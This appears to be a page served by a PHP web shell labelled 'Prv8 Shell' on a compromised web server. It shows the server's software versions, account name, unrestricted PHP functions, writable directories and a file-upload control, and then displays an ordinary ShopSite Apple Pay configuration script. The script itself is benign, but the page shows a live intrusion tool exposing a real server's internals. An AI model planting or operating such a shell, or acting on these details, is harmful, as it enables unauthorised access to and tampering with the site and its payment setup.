Prv8 Shell
Server : Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4
System : Linux server.jackjohnson.com 2.6.32-279.5.2.el6.x86_64 #1 SMP Fri Aug 24 01:07:11 UTC 2012 x86_64
User : jackjohn ( 502)
PHP Version : 5.3.17
Disable Function : NONE
Directory :  /home/jackjohn/www/shopsite-images/en-EU/javascript/payment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/jackjohn/www/shopsite-images/en-EU/javascript/payment/applepay_conf.js
function upload_domain_validation_file() {
	var file = $('#domain_validation_file').val();
	if (file.length) {
		var options = {
			success: function(responseText, statusText, xhr, $form) {
				$('body').css({cursor: 'default'});
				$('.domain_validation_status').removeClass('red').addClass('green').val(responseText);
			},
			async: false,
			forceSync: true
		}
		$('body').css({cursor: 'progress'});
		$('#domain_validation_file').wrap('<form enctype="multipart/form-data" action="payconfig.cgi?ajax=upload_apple_validation_file&processor='+$('#domain_validation_file').attr('data-processor')+'" method=post></form>');
		$('#domain_validation_file').parent().ajaxSubmit(options);
		$('#domain_validation_file').unwrap();
	}
}

function upload_applepay_cert() {
	var file = $('#applepay_cert').val();
	if (file.length) {
		var options = {
			success: function(responseText, statusText, xhr, $form) {
				$('body').css({cursor: 'default'});
				if (responseText == "Certificate present")
					$('.cert_status').removeClass('red').addClass('green').val(responseText);
				else
					$('.cert_status').removeClass('green').addClass('red').val(responseText);
			},
			async: false,
			forceSync: true
		}
		$('body').css({cursor: 'progress'});
		$('#applepay_cert').wrap('<form enctype="multipart/form-data" action="payconfig.cgi?ajax=upload_applepay_cert" method=post></form>');
		$('#applepay_cert').parent().ajaxSubmit(options);
		$('#applepay_cert').unwrap();
	}
}

function create_csr() {
	if($('input[name=display_name]').hasClass('error')) {
		$('input[name=display_name]').focus();
		alert('Correct the error');
		return false;
	}else
		//First check if they meant to click this and knows it will break ApplePay that already works
	if($('.csr_status').hasClass('red') || confirm('This may break ApplePay.\nContinue?'))
	{
		$.ajax({
			url:'payconfig.cgi',
			data:{'ajax':'create_apple_csr','form_parm1':$('input#form_parm1[type=hidden]').val(),'display_name':$('input[name=display_name]').val().replace(/^\s*|\s*$/g,'')},
			success:
			function(data) {
				if (data == '1') {
					$('.csr_status').removeClass('red').addClass('green').val('Private key present');
					alert('CSR Created Successfully');
				} else {
					$('.csr_status').removeClass('green').addClass('red').val('Private key failed');
					alert('An error has occurred');
				}
			},
			async:false
		});
	}
}

function download_csr() {
	var form = $('<form action="payconfig.cgi" method="GET"></form>');
	form.append($('<input type="hidden" name="ajax" value="download_apple_csr">'));
	form.append($('<input type="hidden" name="form_parm1">').val($('input#form_parm1').val()));
	form.appendTo('body').submit().remove();
}

function check_domain_validation() {
	var dvs=$('input.domain_validation_status'),url=dvs.attr('data-url');
	if(dvs.hasClass('red')) {
    var x=$.get(url,'',function(e){
      if(x.status==200){
				var y=dvs.attr('data-otherValue');
				dvs.removeClass('red').addClass('green').attr('data-otherValue',dvs.val()).val(y);
				$('div#check-domain-message').hide();
			}
		});
	}
}

function register_domain() {
  var data = {ajax:'apple_register_domain',processor:$('#processor').val(),domain:$('[name=domain]').val()};
  $.ajax({
  url:'payconfig.cgi',
  data:data,
  dataType:'jsonp',jsonp:'json',success:function(r){
    var d=$('#regDomainResponse');
    if(r.success) {
      d.html(r.message);
      d.removeClass('error');
      var dvs=$('input.domain_registration');
      if(dvs.hasClass('red')){
        var y=dvs.attr('data-otherValue');
        dvs.removeClass('red').addClass('green').attr('data-otherValue',dvs.val()).val(y);
        d.hide();
        $('#domainRegistrationValue').val('checked');
      }
    } else {
      d.html(r.message);
      var dvs=$('input.domain_registration');
      if(dvs.hasClass('green')){
        var y=dvs.attr('data-otherValue');
        dvs.addClass('red').removeClass('green').attr('data-otherValue',dvs.val()).val(y);
        $('#domainRegistrationValue').val('unchecked');
      }
      d.show();
    }
  }
  });
}

$(function() {
	check_domain_validation();
	$(document).on('click','#check-domain-validation',check_domain_validation);
	$(document).on('click','#domain_validation_upload_button',upload_domain_validation_file);
	$(document).on('click','#create_csr_button',create_csr);
	$(document).on('click','#applepay_cert_upload_button',upload_applepay_cert);
	$(document).on('click','#register_domain',register_domain);

	$(document).on('change','#domain_validation_file',function() { $('#domain_validation_upload_button').css({'display':'block'}); });
	$(document).on('change','#applepay_cert',function() { $('#applepay_cert_upload_button').css({'display':'block'}); });
	$(document).on('click','#create_csr_button',function() { $('#download_csr_button').css({'display':'block'}); });

	$(document).on('click','#download_csr_button',download_csr);
});


haha - 2025